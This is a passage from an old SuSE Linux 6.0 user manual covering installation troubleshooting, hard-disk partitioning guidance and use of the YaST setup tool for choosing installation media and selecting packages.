Finally, there exists a couple of faulty EIDE chipsets, most of which have been recognized and special code has been built into the kernel to handle them. There is a special kernel for these cases. Kernel parameters are described more thoroughly in section 14.3.2, page 290, and chapter 13, page 263.

2.8.6 Problems with CDROM drives on parallel port

All available drivers are listed by **Linuxrc** at the installation. Normally there are no peculiarities.

Unfortunately lots of drives (e. g. **Freecom**) are not supported yet. It may be that you cannot use them although the manual claims that the type is identical. The manufacturer apparently has changed the internals without making these changes public …

Some of the devices need to be initialized by the DOS driver for making them available under Linux:

1. Boot DOS and load the CDROM driver.
2. Insert a Linux boot disk.
3. warm reboot the machine

If your drive is not supported you need to take the detour via a DOS partition (see section 2.4, page 28). For actual information on the parallel port programming have a look at: `http://www.torque.net/linux-pp.html`.

2.8.7 Thinkpad "sleeps" while installing

Anywhere while booting the system aborts `:-(`

There is no general solution available. For some older versions an alternative might be the installation via DOS via **setup.exe** and to load Linux itself with **loadlin** (see section 2.5, page 30)

Here are some hints that we collected in the past. Feedback is welcome:

- Please switch off everything that enables power safe mode. Keys: "suspend mode", "power management", "sleep features".
- If you start via DOS load the CD-ROM driver in your `config.sys` with the `/S` option. For <drive> and <path> you have to enter your system specific values.

  ```
  DEVICE = <drive>:\<path>\IBMTPCD.SYS /S
  ```

- Please avoid accessing the floppy drive during the installation.

2.8.8 Loadlin doesn't have enough memory to load the kernel

You don't have enough free memory below 640 KB. Try to remove drivers from your startup files or shift them to high memory.

If you use compressed drives under Windows 95 and shifting the driver to high memory doesn't work, you have to decompress those drives.

2.8.9 Loadlin doesn't work

If you encounter any problems using **loadlin**, you should start **`loadlin`** using the following options: `-v`, `-t` or `-d`.

Best is to write the debug information into a file `debug.out`.

```
C:\> loadlin -d debug.out <other parameters>
```

You may send this file to the SuSE support. For <other parameters> you need to give in your system specific values (see section 4.9.1, page 103)

2.8.10 Error with mke2fs

This annoying problem rarely occurs. Unfortunately, it can only be solved by moving the end of the partition forward or backward one cylinder. The beginning of the next partition has to be adjusted accordingly.

2.8.11 DOS runs in protected mode

loadlin can only boot the kernel if the machine isn't running in protected mode, or if a VCPI server is running. If you're working in Windows 95, you have to switch to MS-DOS mode.

- Either go via the `'Start'` button to `'Shut down'`, then `'Restart computer in MS-DOS mode'` or
- create a link to the MS-DOS command line and change the properties accordingly: In tab `'Program'` select `'Advanced'` and mark with an "X" on `'MS-DOS mode'`. If you now restart your MS-DOS window, it will be placed in MS-DOS mode.

2.8.12 The 3.5" floppy drive is connected as B: and not bootable

PCs can only be booted from the first physical floppy drive (this is A: under MS-DOS). Moreover, this drive has to be marked active in the BIOS. Otherwise, you can only boot via HD.

If you access your 3.5" floppy as "B:", you have to switch the connections of your drives (5.25" and 3.5"):

- Turn off your machine and open the case.
- Look for the broad data cable which connects floppy drives to the controller.
- There are normally two pairs of plugs (one for each floppy). Only one plug from each pair is used (3.5" and 5.25" have different plugs). You now have to exchange both connections using the appropriate plugs. If this doesn't work due to short cables, you have to swap the drives' positions as well.

- If your cable has only two single plugs (no pairs), you have to buy a new data cable.
- Close the case and go to the BIOS setup menu after switching your machine on. How you can access setup depends on your BIOS. A "nice" BIOS gives instructions on screen. If not, look in your manual or try the Del key.
- Change the position of your floppy drives in the setup menu:
  drive A: 1.44 MB, 3.5" floppy
  drive B: 1.2 MB, 5.25" floppy
- Now mark the 3.5" floppy drive as active. Here you have to enter the submenu `'Advanced C-MOS setup'` (or similar). You should see a line `'System boot-up sequence'`. Here you designate A: as the first drive in the boot sequence.
- Save these settings and leave setup.

2.8.13 Label of CD-ROM drive has changed

If you have created an additional partition using **fips**, this is a DOS partition. Therefore, all other drives are shifted forward one step and your CD-ROM is no longer `D:` but `E:`.

After changing partition types to Linux with YaST, this changes back; your CD-ROM drive should now be `D:` again.

If you are not able to open the CD-ROM in **Windows Explorer** or **My Computer** under Windows 95, this means that it is still trying to access `'E:'` (using the above example). You then have to use the system management tool in the Control Panel to change your CD-ROM label to `'D:'`.

2.9 Partitioning for novices

Is Linux and its filesystem completely new to you? Then you probably ask yourself questions like: How much space should I assign to Linux? What's the minimum I need? What's best for my needs? How should I divide up the available space?

Partition types on a PC

Every hard disk contains a partition table which in turn contains space for up to four entries. Each entry may be either a primary or an extended partition. Only *one* extended partition may be assigned.

Primary partitions are a continuous section of cylinders which are assigned to one operating system. Using primary partitions, you would only be able to create four partitions. More will not fit into the partition table.

An extended partition itself is also a continuous section of cylinders, but you can divide an extended partition into multiple *logical partitions* which, in turn, don't need a separate entry in the partition table. The extended partition is more or less a container for logical partitions.

If you need more than four partitions, you have to make one an extended partition in which you may assign logical partitions. The maximum for SCSI systems is 15 partitions and 63 for (E)IDE systems.

Linux doesn't care what kind of partition it is installed in. It can be primary or logical.

Make a decision

Let's start with the minimum SuSE Linux install: 80 MB. This only works if you use the machine for a simple purpose, e. g., you only work on a text console (no X Window System). If you want to peek into X and start a few applications, you will need 200 MB. Both values include swap.

What's an extensive installation? 500 MB. In this world of gigabyte hard drives, this is rather modest. And there is no upper limit.

What's the best for your needs? That depends on what you want to do:

- X and applications like **Applix*ware*** and **Netscape** will require 700 MB to 1 GB.
- For creating your own little applications in X, you also need 700 MB to 1 GB.
- To compile your own X servers, write your own CDs together with the items mentioned above: 4 GB .
- Set up an Internet/FTP server: 400 MB minimum.

How should you divide up the hard disk? This simple question cannot be answered easily. Apply these guidelines:

- up to 500 MB: swap partition and a root (`/`)
- up to 1.2 GB: small boot partition for the kernel and LILO at the *very first* of the hard disk (`/boot`, app. 5-10 MB or, 1 cylinder respectively), swap partition and the rest for root partition `/`.
- more than 1.2 GB: Boot (`/boot`, Swap, Root (180 MB), Home (`/home` with app. 100 MB) and all the rest for applications (`/usr`); evtl. `/opt` (see. page 47).

> If you plan to start Linux directly from the hard drive, you will need a Linux partition below the "1024 cylinder limit" as a boot partition (cf. section 4.3, page 84, and section 4.8.2, page 99). This doesn't concern you if you will start Linux from DOS/Windows with **loadlin**. Most of the time this boot partition will be the same as the root partition.

In addition , some programs (mostly commercial programs) install their data under`/opt`. Just in case, either provide for `/opt` its own partition or make the root partition big enough. Some examples are shown in table 2.1.

If you don't want a separate partition `/opt`, you may use this work around:

KDE	50 MB
GNOME	55 MB
Wabi	10 MB
Netscape	35 MB
Arcad	210 MB
Applix*ware*	400 MB
StarOffice	150 MB
Bartels Auto Engineer (BAE)	60 MB
Cyber Scheduler	30 MB
HP Eloquence	20 MB
Cygnus Source-Navigator	20 MB
SNiFF+	45 MB
Visual Shop	30 MB

Table 2.1: Packages under `/opt`

Where you have enough space anywhere else on your system, e. g., under `/usr`, create a directory (e. g., `opt`) and make a symbolic link:

```
earth: # cd /
earth: # cp -a /opt /usr
earth:/ # rm -rf /opt
earth:/ # ln -s /usr/opt /opt
```

Please be extremely careful with **`rm`**!

If you plan a bigger configuration than 1.2 GB, please read further. For swap partitions, please see section 2.10.1.

2.10 Partitioning for experts

Partitioning has already been outlined in section 2.7.1 and section 2.3.5. This section should provide more detailed information for tailoring a system that best suits your needs. This section is mainly important for those who want an optimized system as far as security and performance are concerned.

It is necessary that you have extensive knowledge of the functions of a UNIX filesystem. The topics ☞*mount point*, physical, extended and logical partitions should not sound Chinese to you.

There is no golden mean for all but lots of tiny golden means for each one. Do not panic, we will give you some real numbers as guidelines.

First, gather the following information:

- What is the purpose of the machine (file server, compute server, stand-alone machine)?
- How many people are going to work with this machine (simultaneous logins)?
- How many hard disks are installed? How big are they and which kind (EIDE, SCSI or even RAID controllers)?

2.10.1 Size of swap partition

Quite often you will read:

"☞*Swap* should be at least as large as physical RAM". This is a relic of times when 8 MB was regarded as a lot of RAM ☞*memory*.

Applications that need considerable memory have shifted these values up. Generally, 64 MB of virtual swap should be sufficient. Do not be stingy. If you compile a kernel under X and want to have a look at the manual pages using **Netscape** and have an **emacs** running, you will already take up all of 64 MB.

To be safe, opt for at least 96 MB of virtual memory. One thing you should never do is not assign swap space at all! Even on a machine with 256 MB RAM, there should be a swap partition. The reasons are described in section 2.10.3.

Do you plan to run extensive simulations and need gigabytes of memory? In case of doubt as to whether Linux suits your needs, please read section 2.10.2 (Example: compute server).

2.10.2 Use of the machine as standalone machine

The most common use for a Linux machine is as a standalone computer. In order to make decisions as easy as possible for you, we provide you with some concrete figures which you can use at home or at your company. In table 2.2 is an overview of size requirements for different Linux systems.

Installation	Needed disk space
minimum	80 MB up to 200 MB
small	200 MB up to 500 MB
medium	500 MB up to 1 GB
large	1 GB up to 3 GB

Table 2.2: Examples of Linux system disk space requirements

Example: printer server/router

Let's assume that you do not want to throw your old 386 SX 20 with its 80 MB hard disk away. Separate the disk into a 16 MB swap partition and the rest (64 MB) for root `/`. This little machine may serve as a firewall or as a gateway to the internet. Of course, it should only be used by `'root'`.

Example: standalone machine (small)

You have a 500 MB spare hard disk to hold Linux: use 100 MB for root `/`, a 32–40 MB swap partition and the rest for `/usr`.

Example: standalone machine (average)

There is 1 GB available for Linux. As above, use 100 MB for root `/`, 64 MB for swap, 100 MB for `/home` and the rest for `/usr`. Note that the RPM database under `/var` occupies several MBs (see also section 15.3.2, page 320).

Example: standalone machine (luxury)

If you have more than 1 GB available, there is no overall solution. Please read section 2.10.3.

Example: file server

Here, hard disk performance is *really* crucial. You should use SCSI devices if possible. Keep in mind the performance of the disk and the controller.

A file server is used for centrally saving data. These might be ☞*home directories*, a data base or other archives. The advantage is easy administration.

If the file server will serve a huge net (from 20 users upwards), optimizing hard disk access is essential.

Suppose you want to provide a file server for 25 users (their home directories). If the average user requires 80 MB for personal space, a 2 GB disk mounted under `home` will probably do.

If there are 40 such users, you will need a 4 GB disk. In this case, it will be better to split `home` onto two 2 GB disks, as now they will share the load and access.

Example: compute server

A compute server is generally a powerful machine that carries out extensive calculations over the net. Normally, such a machine is equipped with extensive main memory (256 RAM or greater). The only point where fast disks are needed is for the swap space. Separate the swap partitions onto separate disks. Linux can normally only handle 128 MB swap partitions but can handle eight of these.[7]

2.10.3 Optimizations

The disks are normally the bottleneck. To avoid this, there are two possibilities which should be used together:

- separate the load onto multiple disks
- equip your file server with enough memory (at least 64 MB)

[7] and even 64 with slight modifications

Parallelizing multiple disks

This needs some further discussion. The total amount of time needed for transferring data can be separated into five factors:

- time elapsed until the request reaches the controller
- time elapsed until this request is send to the disk
- time elapsed until the hard disks manages to set its head
- time elapsed until the media has turned to the right sector
- time elapsed for transferring data

The first factor depends on the network connection and has to be regulated elsewhere. We do not to cover this here. The second factor can can be ignored; this depends on the controller. The third factor is the vital part. The time is counted in milliseconds. Relative to the access time of main memory (measured in nanoseconds), this is a factor of one million! The fourth factor depends on the disk rotation speed. The fifth factor depends on the rotation speed, the number of heads and the actual position of the data (inside or outside).

For optimized performance, one should consider factor three. Here, the SCSI feature *disconnect* comes into play. Let's look at what happens:

The controller sends the command (in this case to the hard disk) "Go to track x, sector y" to the device. Now the disk motor has to start up. If this is an intelligent disk (if it supports disconnect) and the driver itself is also able to do disconnect, the controller sends a disconnect and the disk separates itself from the SCSI bus. Now other SCSI devices can do work. After a time (depending on the strategy or load on the SCSI bus), a connection to the disk is reestablished. Normally, the device has now reached the requested track.

On a multitasking, multiuser system like Linux, there are lots of optimizations that can be done here. Let's look at an output of the command **df** (see screen output 2.10.1).

```
Filesystem         1024-blocks   Used Available Capacity Mounted on
/dev/sda2               45835   27063    16152     63%   /
/dev/sdb1              992994  749694   192000     80%   /usr
/dev/sdc1              695076  530926   133412     80%   /usr/lib
```

Screen output 2.10.1: Example of a **df** command output

So, what benefits does parallelizing bring us? Suppose we enter in /usr/src:

```
root@earth:/usr/src/ > tar xzf paket.tgz -C /usr/lib
```

Here, paket.tgz will be untarred into /usr/lib/paket. To do so, the shell launches **tar** and **gzip** (located in /bin and thus on /dev/sda), then paket.tgz in /usr/src is read (on /dev/sdb). At last, the extracted data is written to /usr/lib (on /dev/sdc). Using parallelizing, positioning as well as read/write of the disks internal buffers can be activated at the same time.

This is only one example; there are many more. If this example were a frequent processing requirement, then, as a rule of thumb, if there are many disks (with the same speed), /usr and /usr/lib should physically be placed on different disks. Here /usr/lib should have approximately 70% of the capacity of /usr. /, due to its access, should be placed on the disk containing /usr/lib.

From a certain number of SCSI disks onwards (4–5), one should consider buying a RAID controller. Thus, operations on the disks are not only quasi-parallel but parallel. Fault tolerance is one of its famous by-products.

Processing speed and size of main memory

The size of main memory is more important under Linux than the processor itself. One reason[8] is Linux' ability to dynamically create buffers of hard disk data. Here, Linux uses lots of tricks, such as "read ahead" (getting sectors in advance) and "delayed write" (saving writes until there is a bundle to write). The latter is the reason why you should not switch off your Linux machine. Both items are the reason why Linux is so fast and why the memory seems to fill rapidly. Linux works with shared libraries, that is, lots of programs and applications share the same library. A library call has only to be allocated once. This also means that your memory fills up rather quickly. So if you do not know whether to purchase another main board or some more memory, we recommend you do the latter as it increases the speed of Linux.

```
             total      used      free    shared   buffers    cached
Mem:         63304     62312       992     15920     38692      4200
-/+ buffers:           19420     43884
Swap:       199508     14548    184960
```

Screen output 2.10.2: Output of **free**

If you want to find out what memory is being used, just enter:

root@earth:/root > free

This will give you an overview of used memory and buffers. The screen output 2.10.2 shows that some 38 MB are being saved in buffers. If you want to access data that is already buffered, this data is almost immediately available.

[8] if not the main reason

Chapter 3

YaST – Yet another Setup Tool

YaST (**`yast`**) is a principal feature of SuSE Linux. It helps you install, uninstall and maintain your software and administrate your system.

This chapter will cover YaST's most important capabilities.

> The YaST on SuSE Linux 6.0 is new. Thus the screen shots in this book may differ from those you see. Furthermore, some of YaST's new functions may not be mentioned.

3.1 Control and keyboard mapping

At the ☞*Prompt* you type **`yast`** to invoke YaST:

```
earth: # yast
```

YaST is controlled mainly with the cursor and tab keys. To navigate selection lists, use cursor keys together with [Page ↑] and [Page ↓]. Choose your selections with [Enter] or [⟵]. Use [TAB] to jump between selection buttons and entry fields. [Esc] always leaves the current menu. If you want to keep the settings you made, press [F10].

You can use the [⟼] key for moving around, or for switching between either of "Yes No" windows.

On rare occasions (e. g., when starting YaST from a non-Linux terminal), you are not able to use the function keys. In these cases, use [Ctrl] + [f] [<number>] to simulate the function keys [F<number>]. [Ctrl] + [f] [0] can be used instead of [F10]. [F11] and [F12] are not used in YaST.

3.2 YaSTś main menu

When you invoke YaST you will be presented the "main menu" (figure 3.1).

Help lots of information

Settings this menu leads to a submenu (see section 3.3).

Set up / Start installation This leads you to the software installation part, this is for adding or removing packages (see section 3.12).

Update system If some packages need an update.

Administering the system Pops up a submenu for system administration (see section 3.13).

Figure 3.1: The “main menu”

Show README for installation medium Important last minute infos.
Copyright Well, something for judges.
Quit YaST – the end

3.3 Settings

All necessary settings for the installation are configured in submenu `‘Settings’`. Esc leaves this submenu.

Figure 3.2: Menü `‘Settings’`

The real installation cannot start unless you assigned your target partitions.

3.4 Partitioning your HD

The most critical and error-prone procedure while installing a new OS is partitioning your HDs. Normally, each OS requires you to use a partition of its own. Linux offers you the possibility of installing a *demo mode* on top of an existing MS-DOS filesystem, but you should only consider this if you plan to merely experiment with Linux. The performance of demo mode is significantly less than a *normal* installation. Also, a demo mode system is not as stable as if given a partition of its own since there are no filecheck programs under MS-DOS and Linux can be influenced by MS-DOS while it is running.

If you want Linux to have partitions of its own, you should split your HD into at least a couple of partitions. Generally, a relatively small partition is used for the *root* partition. This reduces write access and results in a more stable and not so error-prone system. Then, a quite large partition will contain the rest of the system. So `/usr` on most UNIX systems has a partition of its own. Separate partitions for `/var` and `/tmp` can also prove convenient. Partitioning is a somewhat philosophic question, so there is no single ideal solution for every system.

One partition that you should definitely create is a *swap partition* to increase your amount of *virtual memory* (☞*memory*).

It is possible to create a swap file instead of a partition, but since every access to this file is done via the filesystem, this reduces performance. This is significant if you have little RAM memory installed. Here, a swap file is no alternative at all to a swap partition.

If there is more than one HD installed, you will be asked which HD to partition. This leads to a menu where all your partitions for this HD are presented (see figure 3.3).

Figure 3.3: Partitioning with YaST

Using the cursor keys (↑ and ↓), you can move up and down through the partition list. F3 changes partition type, F4 deletes a partition and F5 creates a new partition.

Changing the partition type is necessary for creating a swap partition. No partitioning may be required if you have decided to use partitions for Linux that are only used as temporary storage by another OS. In this case, just move the cursor to the desired partition and change the type by pressing F3 .

Be aware that Linux has no restrictions on where to put your system.

It is possible to install Linux on a *primary* partition as well as on a *logical* within an *extended partition*.

Logical partitions have been introduced because in the partition table there is only room for four partitions. If you need more than four partitions, at least the last partition has to be assigned as an *extended* partition. Now you can create as many logical partitions in this extended partition as you like.[1]

After partitioning, your computer need not be booted at once. You can choose the software packages you want to install first. Suppose you find that your freshly created partitions are not big enough to hold everything you decide to install. Then you can go back and change the partition table until it is to your satisfaction. Only after quitting YaST will the partition table be written. Only then do you have to reboot your computer as the immediate next step.

3.5 Assigning file systems

After partitioning your HD, you must link your freshly created partitions to directories in your Linux directory tree.
Select `'Set target partitions/filesystems'` under the menu selection `'Adjustments of installation'` from the main menu.

In figure 3.4, you see the partitions of a system containing one HD. You can now decide if and how you want each partition to be formatted and the mountpoints in your Linux tree.

You have to assign one partition as *root* partition. This is called *root* as it is the root of all directories. That's why it is assigned the mountpoint (directory) `/`.

You can manipulate your filesystems in YaST by pressing the function keys corresponding to the operation you want to perform.

If the cursor is positioned on a filesystem belonging to another OS, all operations except mountpoint are disabled.

Mountpoint

Pressing F4 lets you choose where to mount your partitions.

You *must* assign *one* partition as root partition (`/`). You can mount your MS-DOS partitions to directories where you can find them easily (e. g., `/dosc` for the first MS-DOS partition or `/dosd` for your second MS-DOS partition).

[1] Extended as well as logical partitions are known to DOS as *extended DOS partition* or *logical drive*, although this concept applies to any operating system.

Figure 3.4: Assigning filesystems

> Be aware that all mountpoints have to be specified using absolute pathnames and that special keys for those directory names are not allowed. Also, you may not use /etc, /bin, /sbin, /lib, and /dev for your own partitions since those directories are reserved for system commands, system files, and programs needed to mount other partitions.

Note that you can mount MS-DOS partitions in three different ways.

- One way is as a normal MS-DOS partition, where all MS-DOS restrictions apply and
- another way is as **`FAT-Win95`** (= `vfat`). Now long file names may be used.
- the other is as a UMSDOS partition. UMSDOS allows you to use long filenames and all Linux-specific properties such as owner, permissions and creating symlinks are possible under UMSDOS.

Since MS-DOS does not use long filenames, these are saved in special files located in each directory. These files are called `--linux-.---` and should not be deleted under DOS, since Linux needs to access them. Under Linux these files are invisible, since they contain only information internal to the UMSDOS filesystem.

Inode density

Pressing F5 lets you change the ☞*Inode* density.

The inode density gives the average size of a file on a particular partition.

The number of inodes determines how many files can be created on a given partition. If this number is too small, it can happen that a partition seems to be full although there are still some blocks left. For example, if you choose

4096 bytes per inode, it means that on average you expect each file to have a size of 4 KB. Now imagine you put only small files on this partition (about 1 KB), you will only be able to use a quarter of your HD since your partition will appear to be "full".

4 KB per file has proven to be an adequate size in most cases. More inodes per partition means that there is less net data space, since inode tables also have to be written on this partition. If you plan to use one partition as a spool directory, e. g., for Usenet news, a size of 2048 is better, since news articles are normally quite small. Another reason for choosing a large number of inodes is our **Live Filesystem**. When using our live filesystem, approximately 40,000 files will be incorporated which use one inode per file.

Formatting

Pressing F6 lets you choose how a partition will be formatted. With modern SCSI HDs, checking for bad sectors is not really necessary. But if you want to be sure you can select this option, take note that checking for errors while formatting takes considerably longer.

If you didn't change the partition table in this YaST session, you can format your HDs immediately. Otherwise, YaST saves your selections and formats them after you have rebooted. Partitioning takes some time, depending on the size of the partition to be formatted.

Reading `fstab`

The file `fstab` tells Linux what filesystems to mount when it boots. If you want to read the existing `fstab`, press F7 . You will be shown the entries which belong to your system's filesystems (`swap`, `proc`, `nfs-mount`, etc.). These entries are greyed out and cannot be changed. They will always be preserved if you decide to save your changes to `fstab`.

This feature is needed when you update an existing Linux system, since YaST needs to know where the system resides. It is possible to have several versions of Linux running in parallel on your computer (although not simultaneously).

3.6 Installation media

To choose your installation medium, select `'Adjustments of installation'` from the main menu and then `'Select installation medium'` (see figure 3.5)y.

Normally you would select `'Installation from CD-ROM'`.

`'Installation from a hard drive partition'` allows you to install even if your CD-ROM is not recognized by Linux (see section 3.8).

`'Installation via NFS'` (or `'Installation via FTP site'`) enables you to install Linux over a network, meaning your computer doesn't have a CD-ROM of its own but is connected to a machine via ☞*Ethernet* which has a supported CD-ROM. Please refer to section 3.9 and section 3.11 for further information.

Figure 3.5: Selection of the installation medium in YaST

Figure 3.6: Selecting a CD-ROM drive

3.7 Installation from CD-ROM

If you plan to install via CD-ROM, you must specify your CD-ROM drive (see figure 3.6). If unsure try `'ATAPI drives'`.

There are different drivers for Mitsumi drives. Those mentioned in the above list as Mitsumi drivers are designed for the old Mitsumi CD-ROMs which are connected to a separate controller (e.g., LU-500 or FX-001). New Mitsumi drives (e. g., FX-400) are ATAPI drives and, therefore, you must select ATAPI EIDE. The same applies to Sony and Aztech drives.

Mitsumi's MCDX driver differs only in so far as it is able to read multisession CDs. Therefore, for installation it doesn't matter which you choose. We have included both because there may be cases where one of them works and the other doesn't.

3.8 Installation via HD partition

If your CD-ROM is not supported by Linux, you can still install Linux on your computer by choosing another installation medium.

YaST expects a certain file structure which you have to "mirror" on your MS-DOS or OS/2, can be *HPFS* (☞*Filesystem*), drive. Since you almost certainly don't have enough space to mirror the whole CD, you must decide which packages you want to install in each step. You can install as many packages as fit on your HD temporarily. After installation of your base system, you can add other packages, one after the other.

Figure 3.7: Directory tree for installation using HD partition

Our example (see figure 3.7) shows what must be copied to install a base system using an MS-DOS HD partition. Here, directories and file structures are given and cannot be changed.

All directories in series A (`a1`) are needed as well as the directory `setup` including all subdirectories. The directory `images` has to contain the kernel that you plan to use. Copy the kernel itself and also the two associated files with the same name but with the file extensions `.ikr` and `.inf`. The file with the `.inf` extension contains a text number enabling YaST to show a description of the specified kernel. How to configure a specific kernel can be found in the README file in the `setup` directory on the CD-ROM.

If you want to start from MS-DOS, you also need the `root` file under the subdirectory `images`.

If you plan to start your installation system directly from MS-DOS, you also need the `root` file under the subdirectory `images`. In addition, creating the directory `/suse/` is required. Assuming that you have created a directory `suse` under the directory `C:\emil`, then in **setup** you have to fill in the path `C:\emil` (without the '`\`' at the end!). Later, when YaST asks you what the source directory is, you type `/emil/suse`.

3.9 Installation via NFS

Installation over a network provides a means of easily installing multiple computers for experienced Linux users, even if only one of them is equipped with a CD-ROM or the sources are only reachable over an ☞*NFS* mounted hard drive. You should be familiar with configuring an NFS server before you try installing via NFS.

Even the installation of a notebook, which is equipped with a PCMCIA networking card, is possible with this feature.

Figure 3.8: Entering network data for an NFS installation

For installation via NFS, computers may be linked via Ethernet (see figure 3.8) as well as other interfaces (e. g., parallel). This feature is mainly used for laptops and notebooks. If you plan such an installation, you should select a kernel with PLIP support, and you have to configure your PLIP interface before starting the installation (see figure 3.9).

Please be aware that you cannot run a printer at the same time as the PLIP interface! In many cases a printer attached to the parallel device leads to a permanent reset as soon as the driver accesses the interface!

Figure 3.9: PLIP configuration

If you are directly connected to the NFS server, the address used matches the address of the PLIP partner and is exactly the same as your NFS server. The PLIP interface in most cases is just plip1. Even the hardware parameters should not differ from the defaults in most cases.

Be aware that while using your parallel interface as a PLIP interface, you are not able to connect a printer to the same parallel interface. In most cases, a printer connected to this interface will cause a permanent reset as soon as the driver starts.

The next dialog box asks you to put in the IP address of your NFS server and the source directory. Of course, the server must be configured to export the named directory.

3.10 Installation from a reachable directory

This option is generally used to install additional software once you already have Linux running on your system. In addition, it lets you install from a drive for which no drivers existed when the CD was produced.

To access such a drive, first start YaST. Then, change to another console (e. g., using Alt + F2) and log in as `'root'`.

Now you must ☞*mount* your CD-ROM. This can be done, for example, with:

```
earth: # mount -tiso9660 /dev/cdrom /cdrom
```

See section 19.12.2, page 374 for more information on mounting filesystems.

Now you can perform a normal installation. Just fill in the directory of the sources (as shown in figure 3.10), which is the path where the CD-ROM is mounted, and add `/suse` to it.

Figure 3.10: Entering the source directory

So, if you have mounted your CD-ROM (or your HD partition) to `/cdrom`, enter

```
/cdrom
```

3.11 Installation via FTP

Similar to NFS this is another possibility of installing SuSE Linux on a machine that does not have a (supported) CDROM drive. It is required that the basic network configuration has been set up correctly.

Figure 3.11: Entries for the FTP installation

'FTP Site [Name|IP]' Name or IP address of the FTP site. FTP-Servers.

'Server Directory' The path to the `suse` directory on the FTP site.

'[ ] Use Proxy?' Do only answer yes if you have to use an FTP proxy. Normally a proxy *is not* needed.

'Proxy [Name|IP]' Only fill in if the above has been set to yes.

'[X] Default FTP Port?' You should answer yes here.

'Port [Number]' Should normally be set to `21`.

'[X] Anonymous FTP?' Select if you use an anonymous FTP site.

'Login' If you answered *no* for anonymous FTP above you need to enter your login and password here.

'Password' well, your password.

'Timeout [Seconds]' `60` is a good default.

'Local Tmp Directory' Path to the directory that should contain the data temporarily.

3.12 Size of installation

After you have finished configuring your filesystems, go to YaST's main menu then to `'Choose / Install packages'` and choose the packages you are going to install. YaST provides a means of saving your own installation profile or loading an existing one (`'Load configuration'`; see figure 3.12).

Figure 3.12: YaST package installaton menu

From this menu you can either start an installation or test (`'What if...'`) what would happen if you install the current selected configuration.

3.12.1 Loading an existing configuration

There are several predefined configurations under `'Load configuration'`. You can choose any of them. Along with a number of others, there is a base system which you should choose if you are running YaST from a floppy disk and have very little RAM. This minimal system gives you the opportunity to install more packages later, after you can start Linux from the HD, since when loaded from the HD, YaST will handle and perform much better than from a floppy.

If you have designed and saved your own configuration, you can load it from here. This might come in handy if you are installing an identical configuration on several different computers.

If you have already installed a system, you should be careful when you load a different configuration, since all packages not belonging to this particular configuration will be marked for deletion. If you want to keep the already-installed packages, merely answer ”`no`” when asked the question whether you want to delete or not. Otherwise, you must unselect all packages marked with `'[D]'`. Afterwards, there should be an `'[i]'`.

3.12.2 Saving your configuration

Here you can save your own configuration. If YaST is running from a diskette, this diskette will be used for saving your configuration. If you have booted directly from CD, you will be asked to insert a pre-formatted diskette. YaST will write your configuration to this diskette.

3.12.3 Changing your configuration

If you select this option, you will be presented with a list (figure 3.13) of all the packages on our CD. You can decide which packages to install and also you can unselect previously installed packages and thus let them be deleted. You may as well change an already existing configuration (see section 3.12.1, page 65).

You can move up and down in the selection list by using the cursor keys [↓], [↑], [Page ↑] and [Page ↓]. [⟵] opens a series to show further details on packages belonging to this series.

In the lower window is a description of the package under the current cursor position. The right window shows you the current percentage of your partitions that will be used when your selected packages are installed.

[F4] provides an alternative for package selection. You may select another order of packages (see figure 3.14). There are two ways, either you select `'Series'` or `'All packages'` – here there are the “old” series `ALL` as well as the series `sources`.

You can leave this dialog by pressing [F10] to return to the configuration menu.

If you press [⟵] on a series, you will be put into ’package selection’ for this series (figure 3.15,e.g.,shows the contents of series series `a`) . If you have loaded a configuration before, the packages belonging to this configuration

Figure 3.13: Selecting package series in YaST

Figure 3.14: resort packages in YaST

are marked with a cross. In the right hand window you see the percentage of used space on your partitions.

Here you can see a short description of the highlighted package in the bottom window. The right window shows the megabytes available in your partitions.

These values are updated as you select/unselect packages. In some cases, there is not enough room to show all the information. By pressing F2, you can enlarge the lower window. By pressing F3 , you can enlarge the right window.

Each package name is preceeded by it's current state:

Figure 3.15: Selecting packages to install: series `a1`, base system

'[ ]' indicates that this package is not yet installed

'[X]' indicates that this package will be installed

'[i]' indicates that this package is installed

'[D]' indicates that this package will be deleted

'[R]' indicates that this package will be updated (replaced)

By pressing ↵, you can switch between either '[ ]' and '[X]' or between '[i]', '[R]' and '[D]'. Pressing F10 leads you back to the series selection menu. Pressing ESC leaves without making any changes.

If you, by any chance, run out of space in your partitions, you can easily switch back to the main menu and repartition your HD. The actual partitioning will be written only when you leave YaST.

If you are running YaST from diskette, only install a minimal configuration. Then boot Linux from your HD and install the remaining packages. Of course, you can try out your "dream" configuration (with 'What if...') to see how much space it needs.

3.12.4 What if..

YaST can also be used to uninstall. Therefore, we created this menu so that you can see what will happen if you start installation. Here, you can make sure that you didn't mark packages for deletion which are necessary for your Linux system to work properly.

3.12.5 Installation

This is the real installation. All marked packages will be read from CD (or the media you selected), uncompressed and copied to their directories.

If you have changed the partition tables during this YaST session, installation is not yet possible. After changing the partition tables, your computer needs to be rebooted as this modified partition data has not yet been written to the partition tables. This only happens after leaving YaST.

During installation, status messages will be shown in the lower window. The upper window informs you about the current package being installed.

After installation, if you want, you can jump back to the protocol window by pressing TAB to make sure everything went right. Here, you will be able to see what problems occurred, if any.

3.12.6 Check package dependencies

In this selection, YaST checks the dependencies of the packages that you have selected for installation (these are the packages that would be installed if you selected the `'Start installation'` option now) against the packages already installed less those packages that you have selected to be removed. The package dependencies which were found are then displayed in a list.

In table 3.1 are seen the types of dependencies that exist.

`AND`	means that if this package is installed, all listed packages should be installed too. For example, if you install the compiler, you will also need the include and lib files.
`OR`	means that if this package is installed, at least one of the listed packages should be installed as well.
`EXCL`	means that if this package is installed, then none of the listed packages should be installed.

Table 3.1: Package dependencies

The dependencies that were found are displayed in a list.

3.12.7 Index of all series and packages

This option simply provides a list of all packages included on the CD. Those packages marked with an `'*'` are either already installed or are selected for installation. This option allows you to get a quick overview of your installation selections.

3.12.8 Search packages

Sometimes you may wonder where the file is that you are looking for. You want to find where it is located on your SuSE Linux CD.

There is a `'Package information'` option that makes it a snap to look for packages and/or files. You may either search through the installation medium or through the entire system or both. YaST looks for the selected file and presents you a list of hits.

3.12.9 Install packages

This option is for installing packages. These might be either new or bug-fixed versions which have been downloaded from our FTP site `ftp.suse.com`. You may even install packages you have downloaded from the Internet or built yourself. A couple of formats are supported: tar archives (`.tgz`) and RPM packages (`.rpm`, `.spm` and `.src.rpm`) as well as specially designed patch files (`.pat`) that are available, if required, from our FTP site.

The installation procedure is divided into three steps (press [F1] for complete instructions):

- selection of the installation medium
- selection of the packages offered
- installation of the selected packages

